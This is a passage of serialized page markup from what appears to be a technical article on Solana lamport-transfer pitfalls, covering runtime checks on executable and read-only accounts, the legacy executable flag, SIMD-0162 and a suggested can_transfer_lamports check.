decrease\n",{"type":23,"tag":75,"props":84336,"children":84337},{"class":77,"line":161},[84338,84342,84346,84350,84354,84359,84363,84368,84373,84377,84381,84385,84390],{"type":23,"tag":75,"props":84339,"children":84340},{"style":175},[84341],{"type":29,"value":1363},{"type":23,"tag":75,"props":84343,"children":84344},{"style":209},[84345],{"type":29,"value":3122},{"type":23,"tag":75,"props":84347,"children":84348},{"style":82},[84349],{"type":29,"value":24956},{"type":23,"tag":75,"props":84351,"children":84352},{"style":209},[84353],{"type":29,"value":557},{"type":23,"tag":75,"props":84355,"children":84356},{"style":88},[84357],{"type":29,"value":84358},"is_owned_by_current_program",{"type":23,"tag":75,"props":84360,"children":84361},{"style":94},[84362],{"type":29,"value":2464},{"type":23,"tag":75,"props":84364,"children":84365},{"style":209},[84366],{"type":29,"value":84367},"&&",{"type":23,"tag":75,"props":84369,"children":84370},{"style":110},[84371],{"type":29,"value":84372}," lamports",{"type":23,"tag":75,"props":84374,"children":84375},{"style":209},[84376],{"type":29,"value":749},{"type":23,"tag":75,"props":84378,"children":84379},{"style":82},[84380],{"type":29,"value":25039},{"type":23,"tag":75,"props":84382,"children":84383},{"style":209},[84384],{"type":29,"value":557},{"type":23,"tag":75,"props":84386,"children":84387},{"style":88},[84388],{"type":29,"value":84389},"get_lamports",{"type":23,"tag":75,"props":84391,"children":84392},{"style":94},[84393],{"type":29,"value":12966},{"type":23,"tag":75,"props":84395,"children":84396},{"class":77,"line":196},[84397,84401,84405,84409,84413,84417,84422],{"type":23,"tag":75,"props":84398,"children":84399},{"style":175},[84400],{"type":29,"value":1388},{"type":23,"tag":75,"props":84402,"children":84403},{"style":104},[84404],{"type":29,"value":1393},{"type":23,"tag":75,"props":84406,"children":84407},{"style":94},[84408],{"type":29,"value":643},{"type":23,"tag":75,"props":84410,"children":84411},{"style":104},[84412],{"type":29,"value":26983},{"type":23,"tag":75,"props":84414,"children":84415},{"style":209},[84416],{"type":29,"value":1407},{"type":23,"tag":75,"props":84418,"children":84419},{"style":104},[84420],{"type":29,"value":84421},"ExternalAccountLamportSpend",{"type":23,"tag":75,"props":84423,"children":84424},{"style":94},[84425],{"type":29,"value":15099},{"type":23,"tag":75,"props":84427,"children":84428},{"class":77,"line":220},[84429],{"type":23,"tag":75,"props":84430,"children":84431},{"style":94},[84432],{"type":29,"value":346},{"type":23,"tag":75,"props":84434,"children":84435},{"class":77,"line":248},[84436],{"type":23,"tag":75,"props":84437,"children":84438},{"style":3621},[84439],{"type":29,"value":84440},"    // The balance of read-only may not change\n",{"type":23,"tag":75,"props":84442,"children":84443},{"class":77,"line":270},[84444,84448,84452,84456,84460,84465],{"type":23,"tag":75,"props":84445,"children":84446},{"style":175},[84447],{"type":29,"value":1363},{"type":23,"tag":75,"props":84449,"children":84450},{"style":209},[84451],{"type":29,"value":3122},{"type":23,"tag":75,"props":84453,"children":84454},{"style":82},[84455],{"type":29,"value":24956},{"type":23,"tag":75,"props":84457,"children":84458},{"style":209},[84459],{"type":29,"value":557},{"type":23,"tag":75,"props":84461,"children":84462},{"style":88},[84463],{"type":29,"value":84464},"is_writable",{"type":23,"tag":75,"props":84466,"children":84467},{"style":94},[84468],{"type":29,"value":12966},{"type":23,"tag":75,"props":84470,"children":84471},{"class":77,"line":279},[84472,84476,84480,84484,84488,84492,84497],{"type":23,"tag":75,"props":84473,"children":84474},{"style":175},[84475],{"type":29,"value":1388},{"type":23,"tag":75,"props":84477,"children":84478},{"style":104},[84479],{"type":29,"value":1393},{"type":23,"tag":75,"props":84481,"children":84482},{"style":94},[84483],{"type":29,"value":643},{"type":23,"tag":75,"props":84485,"children":84486},{"style":104},[84487],{"type":29,"value":26983},{"type":23,"tag":75,"props":84489,"children":84490},{"style":209},[84491],{"type":29,"value":1407},{"type":23,"tag":75,"props":84493,"children":84494},{"style":104},[84495],{"type":29,"value":84496},"ReadonlyLamportChange",{"type":23,"tag":75,"props":84498,"children":84499},{"style":94},[84500],{"type":29,"value":15099},{"type":23,"tag":75,"props":84502,"children":84503},{"class":77,"line":303},[84504],{"type":23,"tag":75,"props":84505,"children":84506},{"style":94},[84507],{"type":29,"value":346},{"type":23,"tag":75,"props":84509,"children":84510},{"class":77,"line":322},[84511],{"type":23,"tag":75,"props":84512,"children":84513},{"style":3621},[84514],{"type":29,"value":84515},"    // The balance of executable accounts may not change\n",{"type":23,"tag":75,"props":84517,"children":84518},{"class":77,"line":340},[84519,84523,84527,84531,84536],{"type":23,"tag":75,"props":84520,"children":84521},{"style":175},[84522],{"type":29,"value":1363},{"type":23,"tag":75,"props":84524,"children":84525},{"style":82},[84526],{"type":29,"value":25039},{"type":23,"tag":75,"props":84528,"children":84529},{"style":209},[84530],{"type":29,"value":557},{"type":23,"tag":75,"props":84532,"children":84533},{"style":88},[84534],{"type":29,"value":84535},"is_executable_internal",{"type":23,"tag":75,"props":84537,"children":84538},{"style":94},[84539],{"type":29,"value":12966},{"type":23,"tag":75,"props":84541,"children":84542},{"class":77,"line":349},[84543,84547,84551,84555,84559,84563,84568],{"type":23,"tag":75,"props":84544,"children":84545},{"style":175},[84546],{"type":29,"value":1388},{"type":23,"tag":75,"props":84548,"children":84549},{"style":104},[84550],{"type":29,"value":1393},{"type":23,"tag":75,"props":84552,"children":84553},{"style":94},[84554],{"type":29,"value":643},{"type":23,"tag":75,"props":84556,"children":84557},{"style":104},[84558],{"type":29,"value":26983},{"type":23,"tag":75,"props":84560,"children":84561},{"style":209},[84562],{"type":29,"value":1407},{"type":23,"tag":75,"props":84564,"children":84565},{"style":104},[84566],{"type":29,"value":84567},"ExecutableLamportChange",{"type":23,"tag":75,"props":84569,"children":84570},{"style":94},[84571],{"type":29,"value":15099},{"type":23,"tag":75,"props":84573,"children":84574},{"class":77,"line":363},[84575],{"type":23,"tag":75,"props":84576,"children":84577},{"style":94},[84578],{"type":29,"value":346},{"type":23,"tag":75,"props":84580,"children":84581},{"class":77,"line":656},[84582],{"type":23,"tag":75,"props":84583,"children":84584},{"style":3621},[84585],{"type":29,"value":84586},"    // don't touch the account if the lamports do not change\n",{"type":23,"tag":75,"props":84588,"children":84589},{"class":77,"line":705},[84590,84594,84598,84602,84606,84610,84614,84618],{"type":23,"tag":75,"props":84591,"children":84592},{"style":175},[84593],{"type":29,"value":1363},{"type":23,"tag":75,"props":84595,"children":84596},{"style":82},[84597],{"type":29,"value":25039},{"type":23,"tag":75,"props":84599,"children":84600},{"style":209},[84601],{"type":29,"value":557},{"type":23,"tag":75,"props":84603,"children":84604},{"style":88},[84605],{"type":29,"value":84389},{"type":23,"tag":75,"props":84607,"children":84608},{"style":94},[84609],{"type":29,"value":2464},{"type":23,"tag":75,"props":84611,"children":84612},{"style":209},[84613],{"type":29,"value":2469},{"type":23,"tag":75,"props":84615,"children":84616},{"style":110},[84617],{"type":29,"value":84372},{"type":23,"tag":75,"props":84619,"children":84620},{"style":94},[84621],{"type":29,"value":401},{"type":23,"tag":75,"props":84623,"children":84624},{"class":77,"line":787},[84625,84629,84633],{"type":23,"tag":75,"props":84626,"children":84627},{"style":175},[84628],{"type":29,"value":1388},{"type":23,"tag":75,"props":84630,"children":84631},{"style":104},[84632],{"type":29,"value":54127},{"type":23,"tag":75,"props":84634,"children":84635},{"style":94},[84636],{"type":29,"value":84637},"(());\n",{"type":23,"tag":75,"props":84639,"children":84640},{"class":77,"line":826},[84641],{"type":23,"tag":75,"props":84642,"children":84643},{"style":94},[84644],{"type":29,"value":346},{"type":23,"tag":75,"props":84646,"children":84647},{"class":77,"line":834},[84648,84652,84656,84661,84665,84669],{"type":23,"tag":75,"props":84649,"children":84650},{"style":82},[84651],{"type":29,"value":32004},{"type":23,"tag":75,"props":84653,"children":84654},{"style":209},[84655],{"type":29,"value":557},{"type":23,"tag":75,"props":84657,"children":84658},{"style":88},[84659],{"type":29,"value":84660},"touch",{"type":23,"tag":75,"props":84662,"children":84663},{"style":94},[84664],{"type":29,"value":1417},{"type":23,"tag":75,"props":84666,"children":84667},{"style":209},[84668],{"type":29,"value":1225},{"type":23,"tag":75,"props":84670,"children":84671},{"style":94},[84672],{"type":29,"value":245},{"type":23,"tag":75,"props":84674,"children":84675},{"class":77,"line":881},[84676,84680,84684,84688,84692,84696,84700,84704],{"type":23,"tag":75,"props":84677,"children":84678},{"style":82},[84679],{"type":29,"value":32004},{"type":23,"tag":75,"props":84681,"children":84682},{"style":209},[84683],{"type":29,"value":557},{"type":23,"tag":75,"props":84685,"children":84686},{"style":94},[84687],{"type":29,"value":24196},{"type":23,"tag":75,"props":84689,"children":84690},{"style":209},[84691],{"type":29,"value":557},{"type":23,"tag":75,"props":84693,"children":84694},{"style":88},[84695],{"type":29,"value":84203},{"type":23,"tag":75,"props":84697,"children":84698},{"style":94},[84699],{"type":29,"value":643},{"type":23,"tag":75,"props":84701,"children":84702},{"style":110},[84703],{"type":29,"value":26739},{"type":23,"tag":75,"props":84705,"children":84706},{"style":94},[84707],{"type":29,"value":15099},{"type":23,"tag":75,"props":84709,"children":84710},{"class":77,"line":3355},[84711,84715],{"type":23,"tag":75,"props":84712,"children":84713},{"style":104},[84714],{"type":29,"value":1504},{"type":23,"tag":75,"props":84716,"children":84717},{"style":94},[84718],{"type":29,"value":25574},{"type":23,"tag":75,"props":84720,"children":84721},{"class":77,"line":3390},[84722],{"type":23,"tag":75,"props":84723,"children":84724},{"style":94},[84725],{"type":29,"value":369},{"type":23,"tag":75,"props":84727,"children":84728},{"class":77,"line":3423},[84729],{"type":23,"tag":75,"props":84730,"children":84731},{"emptyLinePlaceholder":15},[84732],{"type":29,"value":276},{"type":23,"tag":75,"props":84734,"children":84735},{"class":77,"line":3436},[84736],{"type":23,"tag":75,"props":84737,"children":84738},{"style":3621},[84739],{"type":29,"value":84740},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":23,"tag":75,"props":84742,"children":84743},{"class":77,"line":3449},[84744,84748,84752,84756],{"type":23,"tag":75,"props":84745,"children":84746},{"style":94},[84747],{"type":29,"value":84241},{"type":23,"tag":75,"props":84749,"children":84750},{"style":209},[84751],{"type":29,"value":212},{"type":23,"tag":75,"props":84753,"children":84754},{"style":1266},[84755],{"type":29,"value":84250},{"type":23,"tag":75,"props":84757,"children":84758},{"style":94},[84759],{"type":29,"value":31827},{"type":23,"tag":75,"props":84761,"children":84762},{"class":77,"line":3457},[84763],{"type":23,"tag":75,"props":84764,"children":84765},{"style":94},[84766],{"type":29,"value":84767},"#[inline]\n",{"type":23,"tag":75,"props":84769,"children":84770},{"class":77,"line":3465},[84771,84775,84780,84784,84788,84792,84796,84800,84804],{"type":23,"tag":75,"props":84772,"children":84773},{"style":82},[84774],{"type":29,"value":999},{"type":23,"tag":75,"props":84776,"children":84777},{"style":88},[84778],{"type":29,"value":84779}," is_executable_internal",{"type":23,"tag":75,"props":84781,"children":84782},{"style":94},[84783],{"type":29,"value":643},{"type":23,"tag":75,"props":84785,"children":84786},{"style":209},[84787],{"type":29,"value":1277},{"type":23,"tag":75,"props":84789,"children":84790},{"style":82},[84791],{"type":29,"value":24956},{"type":23,"tag":75,"props":84793,"children":84794},{"style":94},[84795],{"type":29,"value":167},{"type":23,"tag":75,"props":84797,"children":84798},{"style":209},[84799],{"type":29,"value":1156},{"type":23,"tag":75,"props":84801,"children":84802},{"style":104},[84803],{"type":29,"value":3001},{"type":23,"tag":75,"props":84805,"children":84806},{"style":94},[84807],{"type":29,"value":401},{"type":23,"tag":75,"props":84809,"children":84810},{"class":77,"line":3473},[84811,84815],{"type":23,"tag":75,"props":84812,"children":84813},{"style":209},[84814],{"type":29,"value":32188},{"type":23,"tag":75,"props":84816,"children":84817},{"style":82},[84818],{"type":29,"value":84819},"self\n",{"type":23,"tag":75,"props":84821,"children":84822},{"class":77,"line":3481},[84823,84827],{"type":23,"tag":75,"props":84824,"children":84825},{"style":209},[84826],{"type":29,"value":79434},{"type":23,"tag":75,"props":84828,"children":84829},{"style":94},[84830],{"type":29,"value":84831},"transaction_context\n",{"type":23,"tag":75,"props":84833,"children":84834},{"class":77,"line":3524},[84835,84839],{"type":23,"tag":75,"props":84836,"children":84837},{"style":209},[84838],{"type":29,"value":79434},{"type":23,"tag":75,"props":84840,"children":84841},{"style":94},[84842],{"type":29,"value":84843},"remove_accounts_executable_flag_checks\n",{"type":23,"tag":75,"props":84845,"children":84846},{"class":77,"line":4890},[84847,84851,84855,84859,84863,84867,84871],{"type":23,"tag":75,"props":84848,"children":84849},{"style":209},[84850],{"type":29,"value":53991},{"type":23,"tag":75,"props":84852,"children":84853},{"style":82},[84854],{"type":29,"value":25039},{"type":23,"tag":75,"props":84856,"children":84857},{"style":209},[84858],{"type":29,"value":557},{"type":23,"tag":75,"props":84860,"children":84861},{"style":94},[84862],{"type":29,"value":24196},{"type":23,"tag":75,"props":84864,"children":84865},{"style":209},[84866],{"type":29,"value":557},{"type":23,"tag":75,"props":84868,"children":84869},{"style":88},[84870],{"type":29,"value":26883},{"type":23,"tag":75,"props":84872,"children":84873},{"style":94},[84874],{"type":29,"value":3249},{"type":23,"tag":75,"props":84876,"children":84877},{"class":77,"line":4937},[84878],{"type":23,"tag":75,"props":84879,"children":84880},{"style":94},[84881],{"type":29,"value":369},{"type":23,"tag":32,"props":84883,"children":84884},{},[84885],{"type":29,"value":84886},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":23,"tag":32,"props":84888,"children":84889},{},[84890,84892,84897],{"type":29,"value":84891},"Specifically, ",{"type":23,"tag":16596,"props":84893,"children":84894},{},[84895],{"type":29,"value":84896},"executable accounts",{"type":29,"value":84898}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":23,"tag":30116,"props":84900,"children":84902},{"id":84901},"sidebar-whats-the-executable-flag-anyway",[84903],{"type":29,"value":84904},"Sidebar: What's the executable Flag Anyway?",{"type":23,"tag":32,"props":84906,"children":84907},{},[84908,84909,84914],{"type":29,"value":2846},{"type":23,"tag":71,"props":84910,"children":84912},{"className":84911},[],[84913],{"type":29,"value":26883},{"type":29,"value":84915}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":23,"tag":32,"props":84917,"children":84918},{},[84919,84921,84926],{"type":29,"value":84920},"This behavior became problematic with the introduction of the ",{"type":23,"tag":16596,"props":84922,"children":84923},{},[84924],{"type":29,"value":84925},"Upgradeable BPF Loader",{"type":29,"value":84927},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":23,"tag":64,"props":84929,"children":84931},{"className":987,"code":84930,"language":986,"meta":7,"style":7},"Program {\n    /// Address of the ProgramData account.\n    programdata_address: Pubkey,\n},\nProgramData {\n    /// Slot that the program was last modified.\n    slot: u64,\n    /// Address of the Program's upgrade authority.\n    upgrade_authority_address: Option\u003CPubkey>,\n    // The raw program data follows this serialized structure in the\n    // account's data.\n},\n",[84932],{"type":23,"tag":71,"props":84933,"children":84934},{"__ignoreMap":7},[84935,84947,84955,84975,84983,84995,85003,85023,85031,85059,85067,85075],{"type":23,"tag":75,"props":84936,"children":84937},{"class":77,"line":78},[84938,84943],{"type":23,"tag":75,"props":84939,"children":84940},{"style":104},[84941],{"type":29,"value":84942},"Program",{"type":23,"tag":75,"props":84944,"children":84945},{"style":94},[84946],{"type":29,"value":401},{"type":23,"tag":75,"props":84948,"children":84949},{"class":77,"line":100},[84950],{"type":23,"tag":75,"props":84951,"children":84952},{"style":3621},[84953],{"type":29,"value":84954},"    /// Address of the ProgramData account.\n",{"type":23,"tag":75,"props":84956,"children":84957},{"class":77,"line":121},[84958,84963,84967,84971],{"type":23,"tag":75,"props":84959,"children":84960},{"style":110},[84961],{"type":29,"value":84962},"    programdata_address",{"type":23,"tag":75,"props":84964,"children":84965},{"style":209},[84966],{"type":29,"value":1018},{"type":23,"tag":75,"props":84968,"children":84969},{"style":104},[84970],{"type":29,"value":32075},{"type":23,"tag":75,"props":84972,"children":84973},{"style":94},[84974],{"type":29,"value":118},{"type":23,"tag":75,"props":84976,"children":84977},{"class":77,"line":138},[84978],{"type":23,"tag":75,"props":84979,"children":84980},{"style":94},[84981],{"type":29,"value":84982},"},\n",{"type":23,"tag":75,"props":84984,"children":84985},{"class":77,"line":161},[84986,84991],{"type":23,"tag":75,"props":84987,"children":84988},{"style":104},[84989],{"type":29,"value":84990},"ProgramData",{"type":23,"tag":75,"props":84992,"children":84993},{"style":94},[84994],{"type":29,"value":401},{"type":23,"tag":75,"props":84996,"children":84997},{"class":77,"line":196},[84998],{"type":23,"tag":75,"props":84999,"children":85000},{"style":3621},[85001],{"type":29,"value":85002},"    /// Slot that the program was last modified.\n",{"type":23,"tag":75,"props":85004,"children":85005},{"class":77,"line":220},[85006,85011,85015,85019],{"type":23,"tag":75,"props":85007,"children":85008},{"style":110},[85009],{"type":29,"value":85010},"    slot",{"type":23,"tag":75,"props":85012,"children":85013},{"style":209},[85014],{"type":29,"value":1018},{"type":23,"tag":75,"props":85016,"children":85017},{"style":104},[85018],{"type":29,"value":17129},{"type":23,"tag":75,"props":85020,"children":85021},{"style":94},[85022],{"type":29,"value":118},{"type":23,"tag":75,"props":85024,"children":85025},{"class":77,"line":248},[85026],{"type":23,"tag":75,"props":85027,"children":85028},{"style":3621},[85029],{"type":29,"value":85030},"    /// Address of the Program's upgrade authority.\n",{"type":23,"tag":75,"props":85032,"children":85033},{"class":77,"line":270},[85034,85039,85043,85047,85051,85055],{"type":23,"tag":75,"props":85035,"children":85036},{"style":110},[85037],{"type":29,"value":85038},"    upgrade_authority_address",{"type":23,"tag":75,"props":85040,"children":85041},{"style":209},[85042],{"type":29,"value":1018},{"type":23,"tag":75,"props":85044,"children":85045},{"style":104},[85046],{"type":29,"value":38845},{"type":23,"tag":75,"props":85048,"children":85049},{"style":94},[85050],{"type":29,"value":295},{"type":23,"tag":75,"props":85052,"children":85053},{"style":104},[85054],{"type":29,"value":32613},{"type":23,"tag":75,"props":85056,"children":85057},{"style":94},[85058],{"type":29,"value":1114},{"type":23,"tag":75,"props":85060,"children":85061},{"class":77,"line":279},[85062],{"type":23,"tag":75,"props":85063,"children":85064},{"style":3621},[85065],{"type":29,"value":85066},"    // The raw program data follows this serialized structure in the\n",{"type":23,"tag":75,"props":85068,"children":85069},{"class":77,"line":303},[85070],{"type":23,"tag":75,"props":85071,"children":85072},{"style":3621},[85073],{"type":29,"value":85074},"    // account's data.\n",{"type":23,"tag":75,"props":85076,"children":85077},{"class":77,"line":322},[85078],{"type":23,"tag":75,"props":85079,"children":85080},{"style":94},[85081],{"type":29,"value":84982},{"type":23,"tag":32,"props":85083,"children":85084},{},[85085,85087,85094],{"type":29,"value":85086},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":23,"tag":940,"props":85088,"children":85091},{"href":85089,"rel":85090},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[944],[85092],{"type":29,"value":85093},"SIMD-0162",{"type":29,"value":85095},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":23,"tag":32,"props":85097,"children":85098},{},[85099,85101,85106,85108,85113],{"type":29,"value":85100},"This change is also a ",{"type":23,"tag":16596,"props":85102,"children":85103},{},[85104],{"type":29,"value":85105},"hard requirement for supporting the new loader-v4",{"type":29,"value":85107},". Unlike the upgradable loader, which relies on a separate ",{"type":23,"tag":71,"props":85109,"children":85111},{"className":85110},[],[85112],{"type":29,"value":84990},{"type":29,"value":85114}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":23,"tag":32,"props":85116,"children":85117},{},[85118,85120,85127,85129,85134],{"type":29,"value":85119},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":23,"tag":940,"props":85121,"children":85124},{"href":85122,"rel":85123},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[944],[85125],{"type":29,"value":85126},"migrate",{"type":29,"value":85128}," from the upgradable loader to loader-v4 — without hitting the ",{"type":23,"tag":71,"props":85130,"children":85132},{"className":85131},[],[85133],{"type":29,"value":84567},{"type":29,"value":85135}," restriction.",{"type":23,"tag":30116,"props":85137,"children":85139},{"id":85138},"fix-2-reject-program-accounts",[85140],{"type":29,"value":85141},"Fix 2: Reject Program Accounts",{"type":23,"tag":32,"props":85143,"children":85144},{},[85145],{"type":29,"value":85146},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":23,"tag":64,"props":85148,"children":85150},{"className":987,"code":85149,"language":986,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n    account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n    && rent.is_exempt(balance_after, account.data_len())\n    && !is_program(account))\n}\n",[85151],{"type":23,"tag":71,"props":85152,"children":85153},{"__ignoreMap":7},[85154,85230,85278,85294,85301,85340,85384,85408,85457,85485],{"type":23,"tag":75,"props":85155,"children":85156},{"class":77,"line":78},[85157,85161,85165,85170,85174,85178,85182,85186,85190,85194,85198,85202,85206,85210,85214,85218,85222,85226],{"type":23,"tag":75,"props":85158,"children":85159},{"style":82},[85160],{"type":29,"value":24933},{"type":23,"tag":75,"props":85162,"children":85163},{"style":82},[85164],{"type":29,"value":24938},{"type":23,"tag":75,"props":85166,"children":85167},{"style":88},[85168],{"type":29,"value":85169}," can_transfer_lamports",{"type":23,"tag":75,"props":85171,"children":85172},{"style":94},[85173],{"type":29,"value":643},{"type":23,"tag":75,"props":85175,"children":85176},{"style":110},[85177],{"type":29,"value":24196},{"type":23,"tag":75,"props":85179,"children":85180},{"style":209},[85181],{"type":29,"value":1018},{"type":23,"tag":75,"props":85183,"children":85184},{"style":209},[85185],{"type":29,"value":844},{"type":23,"tag":75,"props":85187,"children":85188},{"style":104},[85189],{"type":29,"value":26171},{"type":23,"tag":75,"props":85191,"children":85192},{"style":94},[85193],{"type":29,"value":611},{"type":23,"tag":75,"props":85195,"children":85196},{"style":110},[85197],{"type":29,"value":26739},{"type":23,"tag":75,"props":85199,"children":85200},{"style":209},[85201],{"type":29,"value":1018},{"type":23,"tag":75,"props":85203,"children":85204},{"style":104},[85205],{"type":29,"value":17129},{"type":23,"tag":75,"props":85207,"children":85208},{"style":94},[85209],{"type":29,"value":167},{"type":23,"tag":75,"props":85211,"children":85212},{"style":209},[85213],{"type":29,"value":1156},{"type":23,"tag":75,"props":85215,"children":85216},{"style":104},[85217],{"type":29,"value":25004},{"type":23,"tag":75,"props":85219,"children":85220},{"style":94},[85221],{"type":29,"value":295},{"type":23,"tag":75,"props":85223,"children":85224},{"style":104},[85225],{"type":29,"value":40881},{"type":23,"tag":75,"props":85227,"children":85228},{"style":94},[85229],{"type":29,"value":1175},{"type":23,"tag":75,"props":85231,"children":85232},{"class":77,"line":100},[85233,85237,85242,85246,85250,85254,85258,85262,85266,85270,85274],{"type":23,"tag":75,"props":85234,"children":85235},{"style":82},[85236],{"type":29,"value":999},{"type":23,"tag":75,"props":85238,"children":85239},{"style":88},[85240],{"type":29,"value":85241}," is_program",{"type":23,"tag":75,"props":85243,"children":85244},{"style":94},[85245],{"type":29,"value":643},{"type":23,"tag":75,"props":85247,"children":85248},{"style":110},[85249],{"type":29,"value":24196},{"type":23,"tag":75,"props":85251,"children":85252},{"style":209},[85253],{"type":29,"value":1018},{"type":23,"tag":75,"props":85255,"children":85256},{"style":209},[85257],{"type":29,"value":844},{"type":23,"tag":75,"props":85259,"children":85260},{"style":104},[85261],{"type":29,"value":26171},{"type":23,"tag":75,"props":85263,"children":85264},{"style":94},[85265],{"type":29,"value":167},{"type":23,"tag":75,"props":85267,"children":85268},{"style":209},[85269],{"type":29,"value":1156},{"type":23,"tag":75,"props":85271,"children":85272},{"style":104},[85273],{"type":29,"value":3001},{"type":23,"tag":75,"props":85275,"children":85276},{"style":94},[85277],{"type":29,"value":401},{"type":23,"tag":75,"props":85279,"children":85280},{"class":77,"line":121},[85281,85285,85289],{"type":23,"tag":75,"props":85282,"children":85283},{"style":110},[85284],{"type":29,"value":36375},{"type":23,"tag":75,"props":85286,"children":85287},{"style":209},[85288],{"type":29,"value":557},{"type":23,"tag":75,"props":85290,"children":85291},{"style":94},[85292],{"type":29,"value":85293},"executable\n",{"type":23,"tag":75,"props":85295,"children":85296},{"class":77,"line":138},[85297],{"type":23,"tag":75,"props":85298,"children":85299},{"style":94},[85300],{"type":29,"value":369},{"type":23,"tag":75,"props":85302,"children":85303},{"class":77,"line":161},[85304,85308,85312,85316,85320,85324,85328,85332,85336],{"type":23,"tag":75,"props":85305,"children":85306},{"style":82},[85307],{"type":29,"value":23033},{"type":23,"tag":75,"props":85309,"children":85310},{"style":110},[85311],{"type":29,"value":84061},{"type":23,"tag":75,"props":85313,"children":85314},{"style":209},[85315],{"type":29,"value":1193},{"type":23,"tag":75,"props":85317,"children":85318},{"style":104},[85319],{"type":29,"value":54660},{"type":23,"tag":75,"props":85321,"children":85322},{"style":209},[85323],{"type":29,"value":1407},{"type":23,"tag":75,"props":85325,"children":85326},{"style":88},[85327],{"type":29,"value":27575},{"type":23,"tag":75,"props":85329,"children":85330},{"style":94},[85331],{"type":29,"value":1417},{"type":23,"tag":75,"props":85333,"children":85334},{"style":209},[85335],{"type":29,"value":1225},{"type":23,"tag":75,"props":85337,"children":85338},{"style":94},[85339],{"type":29,"value":245},{"type":23,"tag":75,"props":85341,"children":85342},{"class":77,"line":196},[85343,85347,85352,85356,85360,85364,85368,85372,85376,85380],{"type":23,"tag":75,"props":85344,"children":85345},{"style":82},[85346],{"type":29,"value":23033},{"type":23,"tag":75,"props":85348,"children":85349},{"style":110},[85350],{"type":29,"value":85351}," balance_after",{"type":23,"tag":75,"props":85353,"children":85354},{"style":209},[85355],{"type":29,"value":1193},{"type":23,"tag":75,"props":85357,"children":85358},{"style":110},[85359],{"type":29,"value":16754},{"type":23,"tag":75,"props":85361,"children":85362},{"style":209},[85363],{"type":29,"value":557},{"type":23,"tag":75,"props":85365,"children":85366},{"style":88},[85367],{"type":29,"value":26739},{"type":23,"tag":75,"props":85369,"children":85370},{"style":94},[85371],{"type":29,"value":2464},{"type":23,"tag":75,"props":85373,"children":85374},{"style":209},[85375],{"type":29,"value":7862},{"type":23,"tag":75,"props":85377,"children":85378},{"style":110},[85379],{"type":29,"value":84372},{"type":23,"tag":75,"props":85381,"children":85382},{"style":94},[85383],{"type":29,"value":245},{"type":23,"tag":75,"props":85385,"children":85386},{"class":77,"line":220},[85387,85391,85395,85399,85403],{"type":23,"tag":75,"props":85388,"children":85389},{"style":104},[85390],{"type":29,"value":31708},{"type":23,"tag":75,"props":85392,"children":85393},{"style":94},[85394],{"type":29,"value":643},{"type":23,"tag":75,"props":85396,"children":85397},{"style":110},[85398],{"type":29,"value":24196},{"type":23,"tag":75,"props":85400,"children":85401},{"style":209},[85402],{"type":29,"value":557},{"type":23,"tag":75,"props":85404,"children":85405},{"style":94},[85406],{"type":29,"value":85407},"is_writable\n",{"type":23,"tag":75,"props":85409,"children":85410},{"class":77,"line":248},[85411,85415,85419,85423,85428,85432,85437,85441,85445,85449,85453],{"type":23,"tag":75,"props":85412,"children":85413},{"style":209},[85414],{"type":29,"value":26849},{"type":23,"tag":75,"props":85416,"children":85417},{"style":110},[85418],{"type":29,"value":84061},{"type":23,"tag":75,"props":85420,"children":85421},{"style":209},[85422],{"type":29,"value":557},{"type":23,"tag":75,"props":85424,"children":85425},{"style":88},[85426],{"type":29,"value":85427},"is_exempt",{"type":23,"tag":75,"props":85429,"children":85430},{"style":94},[85431],{"type":29,"value":643},{"type":23,"tag":75,"props":85433,"children":85434},{"style":110},[85435],{"type":29,"value":85436},"balance_after",{"type":23,"tag":75,"props":85438,"children":85439},{"style":94},[85440],{"type":29,"value":611},{"type":23,"tag":75,"props":85442,"children":85443},{"style":110},[85444],{"type":29,"value":24196},{"type":23,"tag":75,"props":85446,"children":85447},{"style":209},[85448],{"type":29,"value":557},{"type":23,"tag":75,"props":85450,"children":85451},{"style":88},[85452],{"type":29,"value":25048},{"type":23,"tag":75,"props":85454,"children":85455},{"style":94},[85456],{"type":29,"value":26888},{"type":23,"tag":75,"props":85458,"children":85459},{"class":77,"line":270},[85460,85464,85468,85473,85477,85481],{"type":23,"tag":75,"props":85461,"children":85462},{"style":209},[85463],{"type":29,"value":26849},{"type":23,"tag":75,"props":85465,"children":85466},{"style":209},[85467],{"type":29,"value":3122},{"type":23,"tag":75,"props":85469,"children":85470},{"style":88},[85471],{"type":29,"value":85472},"is_program",{"type":23,"tag":75,"props":85474,"children":85475},{"style":94},[85476],{"type":29,"value":643},{"type":23,"tag":75,"props":85478,"children":85479},{"style":110},[85480],{"type":29,"value":24196},{"type":23,"tag":75,"props":85482,"children":85483},{"style":94},[85484],{"type":29,"value":702},{"type":23,"tag":75,"props":85486,"children":85487},{"class":77,"line":279},[85488],{"type":23,"tag":75,"props":85489,"children":85490},{"style":94},[85491],{"type":29,"value":369},{"type":23,"tag":32,"props":85493,"children":85494},{},[85495],{"type":29,"value":85496},"Now we’re safe...right?",{"type":23,"tag":923,"props":85498,"children":85500},{"id":85499},"bug-3-the-write-demotion-trap",[85501],{"type":29,"value":85502},"Bug 3: The Write-Demotion Trap",{"type":23,"tag":32,"props":85504,"children":85505},{},[85506,85508,85513,85515,85520],{"type":29,"value":85507},"On Solana, accounts passed as 